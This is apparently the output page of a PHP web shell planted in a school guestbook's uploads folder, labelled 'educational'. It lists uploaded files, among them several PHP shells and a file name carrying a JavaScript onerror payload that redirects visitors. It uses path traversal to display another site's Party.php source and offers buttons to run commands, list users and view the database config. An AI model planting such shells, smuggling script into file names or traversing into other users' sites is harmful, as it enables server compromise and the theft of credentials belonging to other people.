🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../577320.klas4s23.mid-ica.nl/public_html/../public_html/stemzijzer/lib/Party.php

<?php
class Party {
    private $id;
    private $name;
    private $abbreviation;
    private $description;
    private $leader;
    private $founded_date;
    private $logo_path;
    private $ideology; // 'left' | 'right' | null
    private $ideology_x; // -100..100 | null
    private $ideology_y; // -100..100 | null
    private $created_at;
    private static $hasIdeologyCache = null;
    private static $hasIdeologyXCache = null;
    private static $hasIdeologyYCache = null;
    private static $schemaEnsured = false;
    
    public function __construct(array $data = []) {
        if (!empty($data)) {
            $this->id = $data['id'] ?? null;
            $this->name = $data['name'] ?? '';
            $this->abbreviation = $data['abbreviation'] ?? '';
            $this->description = $data['description'] ?? '';
            $this->leader = $data['leader'] ?? '';
            $this->founded_date = $data['founded_date'] ?? null;
            $this->logo_path = $data['logo_path'] ?? null;
            $this->ideology = $data['ideology'] ?? null;
            $this->ideology_x = isset($data['ideology_x']) ? (int)$data['ideology_x'] : null;
            $this->ideology_y = isset($data['ideology_y']) ? (int)$data['ideology_y'] : null;
            $this->created_at = $data['created_at'] ?? null;
        }
    }
    
    // Getters
    public function getId(): ?int { return $this->id; }
    public function getName(): string { return $this->name; }
    public function getAbbreviation(): string { return $this->abbreviation; }
    public function getDescription(): ?string { return $this->description; }
    public function getLeader(): ?string { return $this->leader; }
    public function getFoundedDate(): ?string { return $this->founded_date; }
    public function getLogoPath(): ?string { return $this->logo_path; }
    public function getIdeology(): ?string { return $this->ideology; }
    public function getIdeologyX(): ?int { return $this->ideology_x; }
    public function getIdeologyY(): ?int { return $this->ideology_y; }
    public function getCreatedAt(): ?string { return $this->created_at; }
    public function setIdeology(?string $value): void { $this->ideology = $value; }
    public function setIdeologyX(?int $v): void { $this->ideology_x = $v; }
    public function setIdeologyY(?int $v): void { $this->ideology_y = $v; }
    
    // CRUD operations
    public static function find(int $id): ?self {
        $pdo = Database::getInstance()->getConnection();
        $stmt = $pdo->prepare("SELECT * FROM parties WHERE id = :id");
        $stmt->execute([':id' => $id]);
        $data = $stmt->fetch();
        
        return $data ? new self($data) : null;
    }
    
    public static function getAll(): array {
        $pdo = Database::getInstance()->getConnection();
        $stmt = $pdo->query("SELECT * FROM parties ORDER BY name");
        $parties = [];
        
        while ($data = $stmt->fetch()) {
            $parties[] = new self($data);
        }
        
        return $parties;
    }
    
    public function save(): bool {
        $pdo = Database::getInstance()->getConnection();
        // Best-effort: ensure columns exist so X/Y are persisted
        self::ensureIdeologySchema($pdo);
        $hasIdeology = self::hasIdeologyColumn();
        $hasIdeologyX = self::hasIdeologyXColumn();
        $hasIdeologyY = self::hasIdeologyYColumn();
        
        if ($this->id) {
            $sql = "UPDATE parties SET 
                name = :name, abbreviation = :abbreviation, description = :description,
                leader = :leader, founded_date = :founded_date, logo_path = :logo_path";
            if ($hasIdeology) {
                $sql .= ", ideology = :ideology";
            }
            if ($hasIdeologyX) { $sql .= ", ideology_x = :ideology_x"; }
            if ($hasIdeologyY) { $sql .= ", ideology_y = :ideology_y"; }
            $sql .= " WHERE id = :id";
            $stmt = $pdo->prepare($sql);
            $params = [
                ':name' => $this->name,
                ':abbreviation' => $this->abbreviation,
                ':description' => $this->description,
                ':leader' => $this->leader,
                ':founded_date' => $this->founded_date,
                ':logo_path' => $this->logo_path,
                ':id' => $this->id
            ];
            if ($hasIdeology) {
                $params[':ideology'] = $this->ideology ?: null;
            }
            if ($hasIdeologyX) { $params[':ideology_x'] = $this->ideology_x; }
            if ($hasIdeologyY) { $params[':ideology_y'] = $this->ideology_y; }
            return $stmt->execute($params);
        } else {
            $cols = ["name", "abbreviation", "description", "leader", "founded_date", "logo_path"];
            $vals = [":name", ":abbreviation", ":description", ":leader", ":founded_date", ":logo_path"];
            if ($hasIdeology) {
                $cols[] = "ideology";
                $vals[] = ":ideology";
            }
            if ($hasIdeologyX) { $cols[] = "ideology_x"; $vals[] = ":ideology_x"; }
            if ($hasIdeologyY) { $cols[] = "ideology_y"; $vals[] = ":ideology_y"; }
            $sql = "INSERT INTO parties (" . implode(", ", $cols) . ") VALUES (" . implode(", ", $vals) . ")";
            $stmt = $pdo->prepare($sql);
            $params = [
                ':name' => $this->name,
                ':abbreviation' => $this->abbreviation,
                ':description' => $this->description,
                ':leader' => $this->leader,
                ':founded_date' => $this->founded_date,
                ':logo_path' => $this->logo_path
            ];
            if ($hasIdeology) {
                $params[':ideology'] = $this->ideology ?: null;
            }
            if ($hasIdeologyX) { $params[':ideology_x'] = $this->ideology_x; }
            if ($hasIdeologyY) { $params[':ideology_y'] = $this->ideology_y; }
            $result = $stmt->execute($params);
            
            if ($result) {
                $this->id = (int)$pdo->lastInsertId();
            }
            
            return $result;
        }
    }
    
    public function delete(): bool {
        if (!$this->id) return false;
        
        $pdo = Database::getInstance()->getConnection();
        
        // Delete party positions first
        $stmt = $pdo->prepare("DELETE FROM party_positions WHERE party_id = :id");
        $stmt->execute([':id' => $this->id]);
        
        // Delete the party
        $stmt = $pdo->prepare("DELETE FROM parties WHERE id = :id");
        return $stmt->execute([':id' => $this->id]);
    }
    
    public static function create(array $data): bool {
        $party = new self($data);
        return $party->save();
    }
    
    public function setLogoPath(string $path): void {
        $this->logo_path = $path;
    }

    private static function hasIdeologyColumn(): bool {
        if (self::$hasIdeologyCache !== null) return self::$hasIdeologyCache;
        try {
            $pdo = Database::getInstance()->getConnection();
            $stmt = $pdo->prepare("SHOW COLUMNS FROM parties LIKE 'ideology'");
            $stmt->execute();
            self::$hasIdeologyCache = $stmt->fetch() ? true : false;
        } catch (Throwable $e) {
            self::$hasIdeologyCache = false;
        }
        return self::$hasIdeologyCache;
    }

    private static function hasIdeologyXColumn(): bool {
        if (self::$hasIdeologyXCache !== null) return self::$hasIdeologyXCache;
        try {
            $pdo = Database::getInstance()->getConnection();
            $stmt = $pdo->prepare("SHOW COLUMNS FROM parties LIKE 'ideology_x'");
            $stmt->execute();
            self::$hasIdeologyXCache = $stmt->fetch() ? true : false;
        } catch (Throwable $e) {
            self::$hasIdeologyXCache = false;
        }
        return self::$hasIdeologyXCache;
    }

    private static function hasIdeologyYColumn(): bool {
        if (self::$hasIdeologyYCache !== null) return self::$hasIdeologyYCache;
        try {
            $pdo = Database::getInstance()->getConnection();
            $stmt = $pdo->prepare("SHOW COLUMNS FROM parties LIKE 'ideology_y'");
            $stmt->execute();
            self::$hasIdeologyYCache = $stmt->fetch() ? true : false;
        } catch (Throwable $e) {
            self::$hasIdeologyYCache = false;
        }
        return self::$hasIdeologyYCache;
    }

    /**
     * Attempt to add ideology/coordinate columns when missing.
     * Safe to call repeatedly; guarded by caches and try/catch.
     */
    private static function ensureIdeologySchema(PDO $pdo): void {
        if (self::$schemaEnsured) return;
        try {
            $needIdeology = !self::hasIdeologyColumn();
            $needX = !self::hasIdeologyXColumn();
            $needY = !self::hasIdeologyYColumn();
            if (!$needIdeology && !$needX && !$needY) { self::$schemaEnsured = true; return; }
            // Build ALTER TABLE statement(s) per missing column to avoid IF NOT EXISTS compatibility issues
            if ($needIdeology) {
                try {
                    $pdo->exec("ALTER TABLE parties ADD COLUMN ideology ENUM('left','right') NULL DEFAULT NULL");
                    self::$hasIdeologyCache = true;
                } catch (Throwable $e) { /* ignore if already exists */ }
            }
            if ($needX) {
                try {
                    $pdo->exec("ALTER TABLE parties ADD COLUMN ideology_x INT NULL DEFAULT NULL");
                    self::$hasIdeologyXCache = true;
                } catch (Throwable $e) { /* ignore */ }
            }
            if ($needY) {
                try {
                    $pdo->exec("ALTER TABLE parties ADD COLUMN ideology_y INT NULL DEFAULT NULL");
                    self::$hasIdeologyYCache = true;
                } catch (Throwable $e) { /* ignore */ }
            }
        } catch (Throwable $e) {
            // Swallow errors; app will continue using fallback rendering
        } finally {
            self::$schemaEnsured = true;
        }
    }
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!